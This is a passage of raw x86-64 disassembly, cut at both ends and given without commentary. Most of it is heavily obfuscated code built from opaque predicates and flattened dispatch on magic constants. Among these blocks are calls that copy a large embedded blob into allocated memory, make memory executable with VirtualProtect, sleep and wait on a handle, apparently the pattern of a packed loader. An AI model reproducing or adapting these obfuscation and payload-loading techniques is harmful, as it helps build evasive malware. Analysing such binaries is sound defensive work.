not cl
and cl, bl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
and r9b, r8b
or r9b, r10b
mov edx, eax
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
xor al, 1
mov edx, r9d
and dl, al
xor al, r9b
or al, dl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
xor cl, 1
mov eax, edx
xor al, cl
and cl, dl
or cl, al
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x2c7eabf4
mov ebx, 0x611f3e09
cmovne ecx, ebx
test al, 1
cmove ecx, ebx
test dl, 1
mov eax, 0x2c7eabf4
jmp 0x1401a26bd
mov eax, 0x28ac4d07
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x2bd7b575
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, eax
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov edi, ecx
mov ebx, ecx
xor ebx, 0x52e780d7
and ebx, ecx
not ecx
and ecx, 0x18737e3f
and edi, 0xe78c81c0
or edi, ecx
mov r8d, edi
xor r8d, 0xe78c81c0
mov eax, edi
xor eax, 0x4a94fee8
and eax, r8d
mov ecx, eax
not ecx
mov esi, ebx
not esi
mov edx, ecx
and edx, 0x190ac677
and eax, 0xe6f53988
or eax, edx
or ecx, esi
and esi, 0x190ac677
and ebx, 0xe6f53988
or ebx, esi
xor ebx, eax
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0xad187f29
and ecx, 0x52e780d6
or ecx, eax
and r8d, 1
xor edi, 0xe78c81c1
or edi, r8d
mov eax, edi
not eax
and eax, 0xc30440d3
and edi, 0x3cfbbf2c
or edi, eax
mov eax, edi
xor eax, 0x20da1124
mov edx, ecx
not edx
xor edi, 0xc30440d3
mov ebx, edx
and ebx, 0x9c21ae19
and ecx, 0x63de51e6
or ecx, ebx
or edx, edi
and edi, 0x9c21ae19
and eax, 0x63de51e6
or eax, edi
xor eax, ecx
not edx
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x7555fcb9
and edx, 0x8aaa0346
or edx, eax
mov ebx, edx
xor ebx, 0xa000000
xor edx, 0x5c88
or ecx, 0xaa12dc88
mov eax, ecx
not eax
or edx, 0x10810107
and edx, 0x90835d8f
and ebx, 0x2a108000
or ebx, edx
and ecx, 0x90835d8f
and eax, 0x456c2270
or eax, ecx
xor eax, ebx
mov ecx, eax
not ecx
and ecx, 0xdf8765b6
and eax, 0x20789a49
or eax, ecx
mov ecx, eax
xor ecx, 0x802a4441
xor eax, 0x7595b93e
mov edx, eax
and edx, 0x3ec482ac
and ecx, 0xc13b7d53
or ecx, edx
xor ecx, 0xc13b7d53
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1402656c4], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, ecx
xor al, 1
mov ebx, ecx
and bl, dl
xor dl, 1
and al, dl
or al, bl
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0xc690c520
mov ebx, 0x6fc73425
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, 1
mov eax, 0xc690c520
jmp 0x1401a0e8b
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x87440d63
and edx, ecx
and ecx, 0x78bbf29c
or ecx, ebx
xor ecx, 0x78bbf29c
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov eax, ecx
xor eax, 1
and eax, ecx
mov edx, ecx
not edx
and edx, 0xfc407411
and ecx, 0x3bf8bee
or ecx, edx
mov edi, ecx
xor edi, 0x2958828
mov ebx, eax
not ebx
xor ecx, 0xfc407410
mov esi, ebx
and esi, 0xad2a67d7
and eax, 0x52d59828
or eax, esi
or ebx, ecx
and ecx, 0xad2a67d7
and edi, 0x52d59828
or edi, ecx
xor edi, eax
not ebx
or ebx, edi
mov ecx, ebx
mov edx, ebx
xor edx, 0xf19de5aa
and edx, ebx
not ebx
and ebx, 0xa00424aa
and ecx, 0x5199c100
or ecx, ebx
mov eax, ecx
xor eax, 0x194000
xor ecx, 0xae663eff
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x53e0bb3c
and eax, 0xa01d4482
or eax, edi
or ecx, ebx
and ebx, 0x53e0bb3c
and edx, 0xac1f44c3
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x42d77fc2
and ecx, 0xbd28803d
or ecx, eax
xor ecx, 0x4cb56597
setne r9b
sete r10b
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl dl
mov eax, r10d
xor al, dl
mov ebx, eax
and bl, r10b
and al, dl
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
and r9b, dl
or dl, r10b
xor dl, 1
and cl, r10b
or cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
mov ebx, edx
xor dl, 1
and dl, al
xor al, 1
and bl, al
or dl, bl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xbb1c9b32
mov ebx, 0xfc188dbd
cmovne ecx, ebx
test al, 1
mov eax, 0xbb1c9b32
jmp 0x14019e5fe
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0xfffffffe
mov ecx, edx
and ecx, 1
or ecx, edi
mov edi, ecx
not edi
and ebx, 0x8be3f94f
and edx, 0x741c06b0
or edx, ebx
mov ebx, edx
xor ebx, 0x140404b0
xor edx, 0x8be3f94f
mov esi, ecx
and esi, 0xea7b934e
and edi, 0x15846cb1
or edi, esi
or ecx, edx
and edx, 0xea7b934e
and ebx, 0x15846cb1
or ebx, edx
xor ebx, edi
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xa3572d15
and ecx, 0x5ca8d2ea
or ecx, edx
xor ecx, 0x5ca8d2ea
setne r8b
sete bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, eax
xor dl, bl
and bl, al
and cl, r8b
or cl, bl
and dl, al
xor al, r8b
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
xor cl, 1
mov eax, ecx
and al, dl
xor cl, dl
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xe0dd034e
mov ebx, 0xdaa8edab
cmovne edx, ebx
test al, 1
mov eax, 0xe0dd034e
jmp 0x1401a2f66
mov eax, 0x33904d46
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov rcx, qword [rbp - 0x48]
sub rsp, 0x20
mov r8d, 0xa8600
lea rdx, [0x1401bb2e0]
call sub.VCRUNTIME140.dll_memcpy
mov edx, 0xa8600
mov ecx, 0x42
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
add rsp, 0x20
mov rcx, qword [rbp - 0x68]
sub rsp, 0x20
mov edx, 0xa8600
call fcn.140077210
add rsp, 0x20
mov eax, 0xcf06e47a
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea esi, [rax - 1]
imul esi, eax
mov edi, esi
not edi
mov ebx, esi
or ebx, 1
mov edx, ebx
not edx
mov eax, edi
or eax, 0xe67987a4
and ebx, 0xe67987a5
and edx, 0x1986785a
or edx, ebx
and eax, 0xe67987a5
xor eax, edx
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0x5ce5b29a
and eax, 0xa31a4d65
or eax, edx
and esi, 0x5ce5b29a
and edi, 0xa31a4d65
or edi, esi
xor edi, eax
not edi
or edi, ebx
cmp edi, 0xffffffff
sete dl
setne bl
cmp ecx, 0xa
setl al
cmp ecx, 9
setg cl
and dl, al
xor al, bl
and bl, cl
or dl, bl
xor cl, dl
and cl, dl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
xor al, cl
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, dl
not cl
test cl, 1
mov ecx, 0xf179406d
mov ebx, 0xc13e03dd
cmovne ecx, ebx
test dl, 1
mov edx, 0xf179406d
cmovne edx, ecx
jmp 0x1401a216e
sub rsp, 0x20
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, 0xb06e3798
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x83b98dbc
mov ecx, edx
xor ecx, 0x83b98dbc
and ecx, edx
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov ebx, ecx
not ebx
and ebx, 0x7c467242
and ecx, 0x83b98dbd
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xd91c96ae
and ecx, 0x26e36951
or ecx, ebx
mov ebx, ecx
xor ebx, 0x20830141
and edi, 0x4cf1f365
and edx, 0xb30e0c9a
or edx, edi
mov edi, edx
xor edi, 0x31020082
xor ecx, 0xd91c96ae
xor edx, 0x4cf1f365
mov esi, ecx
and esi, 0xc67c6c38
and ebx, 0x398393c7
or ebx, esi
or ecx, edx
and edx, 0xc67c6c38
and edi, 0x398393c7
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
setne r10b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r9b
mov edx, r10d
xor dl, r8b
and dl, r10b
mov eax, edx
not al
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
and dl, r9b
xor al, 1
and al, cl
or al, dl
and r9b, r8b
and r10b, cl
or r10b, r9b
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
xor cl, 1
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0xd37e7d23
mov ebx, 0x366a28c9
cmovne edx, ebx
test al, 1
mov eax, 0xd37e7d23
cmovne edx, eax
test cl, 1
jmp 0x1401a2243
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x2de27215
and ebx, ecx
or ecx, 0xd21d8dea
mov edi, ebx
not edi
mov esi, ecx
and esi, 0xa49409dc
and edx, 0x9627201
or edx, esi
or ecx, edi
and edi, 0xa49409dc
and ebx, 0x5b6bf623
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xd21d8dea
and ecx, 0x2de27215
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebx, ecx
not ebx
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x8fac5b11
and ecx, 0x7053a4ee
or ecx, edx
mov edx, ecx
xor edx, 0x104120e0
xor ecx, 0x8200a01
and ecx, 0x68328e0f
and edx, 0x97cd71f0
or edx, ecx
mov ecx, edx
xor ecx, 0x11811100
xor edx, 0x308007
and edx, 0x867ce0f7
and ecx, 0x79831f08
or ecx, edx
xor ecx, 0x79831f08
sete r8b
setne dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov ebx, edx
and bl, al
and dl, cl
and cl, r8b
or cl, bl
xor cl, 1
or cl, al
mov r9d, ecx
xor r9b, 1
and al, r8b
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor dl, 1
mov r8d, eax
xor r8b, dl
or dl, al
xor dl, 1
or dl, r8b
and r9b, dl
xor dl, 1
and dl, cl
or dl, r9b
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0xc91f081f
mov ecx, 0x1d608430
cmovne eax, ecx
test bl, 1
mov ecx, 0xc91f081f
jmp 0x14019c0ca
mov eax, 0x46e5c9c4
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x3ba278bd
and edx, ecx
and ecx, 0xc45d8742
or ecx, ebx
xor ecx, 0xc45d8742
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0x9762a669
mov edx, ecx
and edx, 0x689d5996
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x259010d9
and edx, 0xda6fef26
or edx, ebx
mov ebx, edx
xor ebx, 0x50c004a
and edi, 1
xor ecx, 0xfffffffe
or ecx, edi
mov edi, ecx
not edi
and edi, 0x369059fd
and ecx, 0xc96fa602
or ecx, edi
mov edi, ecx
xor edi, 0x814c8402
xor edx, 0xb2f2b6b1
xor ecx, 0x369059fd
mov esi, edx
and esi, 0x78337b04
and ebx, 0x87cc84fb
or ebx, esi
or edx, ecx
and ecx, 0x78337b04
and edi, 0x87cc84fb
or edi, ecx
xor edi, ebx
not edx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x98ce737e
and edx, 0x67318c81
or edx, ecx
mov ecx, edx
xor ecx, 0x46008400
xor edx, 0x867006
and edx, 0x21b77887
and ecx, 0xde488778
or ecx, edx
mov edx, ecx
xor edx, 0x1b56085
xor ecx, 0xde488778
mov ebx, ecx
and ebx, 0xb04a1f7a
and edx, 0x4fb5e085
or edx, ebx
xor edx, 0x4fb5e085
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg bl
mov eax, r10d
xor al, r8b
and al, r10b
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov r11d, ecx
and r11b, dl
xor dl, cl
or dl, r11b
or cl, al
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ebx
xor al, cl
xor al, 1
and al, cl
or cl, bl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov ecx, ebx
xor cl, r10b
and cl, bl
and r9b, r8b
and bl, r10b
or bl, r9b
mov edx, ecx
xor dl, 1
xor cl, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ebx
mov r8d, ecx
and r8b, al
xor al, cl
mov r9d, ecx
and r9b, bl
xor cl, bl
xor bl, 1
and dl, bl
or al, r8b
xor dl, 1
mov r8d, ebx
xor r8b, dl
or dl, bl
xor dl, 1
or dl, r8b
xor dl, al
or cl, r9b
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x1999dd6
mov ebx, 0xf8a44491
cmovne eax, ebx
test cl, 1
mov ecx, 0x1999dd6
cmovne ecx, eax
test dl, 1
jmp 0x1401a26bd
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov eax, ecx
not eax
mov edi, ecx
or edi, 0x62f2ec58
mov esi, edi
not esi
mov edx, eax
or edx, 0x9d0d13a7
mov ebx, edx
not ebx
and edi, 0xda76d05a
and esi, 0x50903a5
or esi, edi
and edx, 0xda76d05a
and ebx, 0x20802c00
or ebx, edx
xor ebx, esi
mov edx, ebx
not edx
and edx, 0x945625cd
and ebx, 0x6ba9da32
or ebx, edx
xor ebx, 0x95b366b
and eax, 0x81efe334
and ecx, 0x7e101ccb
or ecx, eax
xor ecx, 0x7e101ccb
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x99b83493
and ecx, 0x6647cb6c
or ecx, eax
xor ecx, 0x6647cb6c
sete r9b
setne r10b
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg cl
mov eax, r10d
xor al, cl
mov edx, eax
and dl, r10b
and al, cl
mov r8d, edx
xor r8b, 1
xor dl, al
xor al, 1
or al, r8b
xor al, 1
or al, dl
and r10b, bl
or bl, r9b
xor bl, 1
and cl, r9b
or cl, r10b
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
xor dl, 1
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x73618b91
mov ebx, 0xdac3b648
cmovne edx, ebx
test al, 1
mov eax, 0x73618b91
jmp 0x14019c520
mov eax, dword [rbp - 0x78]
mov dword [rbp + 8], eax
mov rax, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
mov eax, dword [0x1402656c8]
lea ebx, [rax - 1]
imul ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0xfffffffe
mov ecx, ebx
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
and eax, edx
and ecx, ebx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete al
setne r8b
cmp dword [0x1402656c4], 0xa
setl cl
mov edx, ecx
xor dl, r8b
xor dl, 1
mov ebx, ecx
or bl, al
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
or r8b, cl
xor al, cl
and al, cl
xor al, 1
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, bl
or bl, cl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0x3df01643
mov edx, 0xf2d81345
cmovne ecx, edx
test bl, 1
mov ebx, 0x3df01643
cmovne ecx, ebx
jmp 0x14019d112
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xf66b3326
and edx, ebx
not ebx
and ebx, 0x96083306
and ecx, 0x60630020
or ecx, ebx
xor ecx, 0x60630020
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xf6f17ae5
and edx, 0x90e851a
or edx, ecx
mov ecx, edx
xor ecx, 0xff65b63c
mov ebx, edx
xor ebx, 0xff65b63d
and ebx, ecx
xor edx, 0x880043
and edx, 0x8ecc8453
and ecx, 0x71337bac
or ecx, edx
xor ecx, 0x71337bad
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
xor edx, 0x80dab044
and edx, ecx
not ecx
and ecx, 0x80dab044
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x5934e8a7
and edx, 0xa6cb1758
or edx, ecx
xor edx, 0x2611a71c
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
xor bl, 1
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, 1
and al, bl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, 1
mov eax, 0xbbbce7ac
mov ebx, 0x3cc4e047
cmovne eax, ebx
test cl, cl
mov ecx, 0xbbbce7ac
cmove eax, ecx
test dl, 1
jmp 0x1401a008b
mov eax, 0x1a0e17a
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xe8604449
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov rcx, qword [rbp - 8]
sub rsp, 0x20
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x20
mov eax, 0x90c7dedc
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov rax, qword [rbp - 0x60]
mov dword [rax], 0
movsxd rdx, dword [rbp - 0x2c]
mov r9, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x40]
sub rsp, 0x20
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov esi, ecx
or esi, 1
mov edi, esi
not edi
mov edx, ecx
or edx, 0x15dbc8e0
and esi, 0x15dbc8e0
and edi, 0xea24371e
or edi, esi
and edx, 0x15dbc8e1
xor edx, edi
mov edi, edx
not edi
and edi, 0x59daf2f9
and edx, 0xa6250d06
or edx, edi
mov edi, edx
xor edi, 0x6050100
and ebx, 0x8a7276d9
and ecx, 0x758d8926
or ecx, ebx
mov ebx, ecx
xor ebx, 0x450d8100
xor edx, 0x59daf2f9
xor ecx, 0x8a7276d9
mov esi, edx
and esi, 0xb0e00e77
and edi, 0x4f1ff188
or edi, esi
or edx, ecx
and ecx, 0xb0e00e77
and ebx, 0x4f1ff188
or ebx, ecx
xor ebx, edi
not edx
or edx, ebx
cmp edx, 0xffffffff
setne cl
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl r8b
mov eax, ebx
xor al, dl
and al, bl
and bl, dl
xor dl, r8b
xor dl, 1
and cl, r8b
or bl, cl
xor al, 1
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, edx
or al, bl
xor bl, dl
mov ecx, ebx
xor cl, al
test bl, 1
mov edx, 0x499a24b0
mov ebx, 0xcc80e6b
cmovne edx, ebx
test al, 1
mov eax, 0x499a24b0
cmovne edx, eax
test cl, 1
jmp 0x1401a2243
mov eax, 0x7cce9789
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x29aa39fa
mov edx, esi
and edx, 0xd655c604
or edx, ebx
xor edx, 0xd655c604
mov edi, esi
and edi, 1
or edi, edx
mov edx, edi
not edx
and ecx, edx
and edi, esi
or edi, ecx
xor edx, edi
test edx, edi
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov ebx, ecx
xor bl, r10b
mov edx, ebx
not dl
and dl, r10b
mov esi, ecx
or sil, r10b
xor sil, 1
mov r11d, edx
and r11b, sil
xor sil, dl
or sil, r11b
and bl, cl
and r9b, r8b
and cl, r10b
or cl, r9b
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov eax, esi
xor al, 1
and dl, al
or al, cl
and cl, sil
or cl, dl
mov edx, eax
xor dl, cl
test cl, 1
mov ecx, 0x4e0c55d0
mov ebx, 0x9467e4e4
cmovne ecx, ebx
test al, 1
mov eax, 0x4e0c55d0
cmovne ecx, eax
test dl, 1
jmp 0x1401a23ee
mov eax, 0x6dc0242f
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0x198c5d27
and ebx, ecx
or ecx, 0xe673a2d8
mov edi, ebx
not edi
mov esi, ecx
and esi, 0xff78cb71
and edx, 0x841406
or edx, esi
or ecx, edi
and edi, 0xff78cb71
and ebx, 0x87348e
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xe673a2d8
and ecx, 0x198c5d27
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x7ff7ea4d
mov edi, ecx
xor edi, 0x7ff7ea4d
and edi, ecx
mov esi, edx
and esi, edi
xor edi, edx
or edi, esi
mov edx, edi
not edx
and edx, 0x2486994e
and edi, 0xdb7966b1
or edi, edx
xor edi, 0xa48e8cfd
and ebx, 1
xor ecx, 0xfffffffe
or ecx, ebx
not ecx
mov edx, edi
and edx, ecx
xor ecx, edi
or ecx, edx
mov edi, ecx
not edi
or ecx, 0x30d17d66
mov ebx, ecx
not ebx
or edi, 0xcf2e8299
mov edx, edi
not edx
and ecx, 0x94055cc3
and ebx, 0x4b2a8218
or ebx, ecx
and edi, 0x94055cc3
and edx, 0x20d02124
or edx, edi
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x30d17d66
and edx, 0xcf2e8299
or edx, ecx
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov edx, r10d
xor dl, cl
and dl, r10b
mov ebx, r9d
or bl, dl
xor bl, 1
mov eax, r9d
xor al, dl
not al
and al, dl
mov edx, ebx
and dl, al
xor al, bl
or al, dl
and r9b, r10b
or r10b, r8b
xor r10b, 1
and cl, r8b
or cl, r9b
mov edx, r10d
and dl, cl
xor cl, r10b
or cl, dl
xor cl, 1
mov ebx, eax
xor bl, 1
mov r8d, ecx
xor r8b, bl
mov edx, ebx
and dl, al
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
xor r8b, 1
or cl, al
xor cl, 1
or cl, r8b
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0x66a6193
mov ebx, 0x662c42
cmovne ecx, ebx
test dl, 1
cmovne ecx, ebx
not al
test al, 1
mov eax, 0x66a6193
jmp 0x1401a26bd
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov esi, edx
not esi
mov edi, esi
and edi, 0x54eaa8f
mov ecx, edx
and ecx, 0xfab15570
or ecx, edi
mov edi, ecx
xor edi, 0xc2915150
xor ecx, 0x44a2a8c
mov ebx, esi
or ebx, 0x3c6a2eac
or ecx, 1
and ecx, 0x3c6a2ead
and edi, 0xc395d152
or edi, ecx
and ebx, 0x3c6a2ead
xor ebx, edi
not ebx
and esi, 0x5d7c194e
and edx, 0xa283e6b1
or edx, esi
xor edx, 0xa283e6b1
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
cmp edx, 0xffffffff
setne dl
sete cl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl bl
and dl, bl
or bl, cl
and r8b, cl
or r8b, dl
mov edx, ebx
xor dl, r8b
mov r9d, r8d
xor r9b, 1
xor dl, 1
or bl, r9b
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
mov ecx, r9d
and cl, r8b
mov eax, ebx
and al, dl
mov r10d, r9d
and r10b, cl
xor cl, r9b
or cl, r10b
xor al, 1
mov r10d, edx
xor r10b, al
or al, dl
xor al, 1
or al, r10b
xor al, cl
xor bl, r9b
or dl, r8b
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x2bd7b575
mov ebx, 0x9d63d924
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0x2bd7b575
jmp 0x1401a0e8b
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov eax, ecx
not eax
mov ebx, eax
or ebx, 0x5f35ac78
mov edx, ebx
not edx
mov esi, ecx
or esi, 0x20885085
and esi, 0x2f8df4b5
mov edi, eax
and edi, 0x50300848
or edi, esi
and ebx, 0x2f8df4b5
and edx, 0x80420302
or edx, ebx
xor edx, edi
mov ebx, edx
not ebx
and ebx, 0xa0ca5386
and edx, 0x5f35ac79
or edx, ebx
and eax, 0x3aa2b752
and ecx, 0xc55d48ad
or ecx, eax
mov eax, ecx
xor eax, 0xc55d48ad
xor ecx, 0x3aa2b752
and ecx, edx
not edx
and eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne r10b
sete r9b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl cl
mov ebx, ecx
and r10b, cl
xor cl, r9b
or bl, r9b
xor bl, 1
or bl, cl
mov eax, ebx
xor al, 1
and dl, r9b
or r10b, dl
mov ecx, eax
and cl, bl
mov edx, ecx
xor dl, 1
xor cl, al
or dl, bl
xor dl, 1
or dl, cl
xor dl, r10b
xor r10b, 1
mov eax, ebx
and al, r10b
xor r10b, bl
or r10b, al
mov eax, r10d
xor al, dl
test r10b, r10b
mov ecx, 0x1c043f9b
mov ebx, 0x21c9600
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0x1c043f9b
jmp 0x1401a26bd
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x912d6aea
mov edi, ecx
and edi, 0x6ed29514
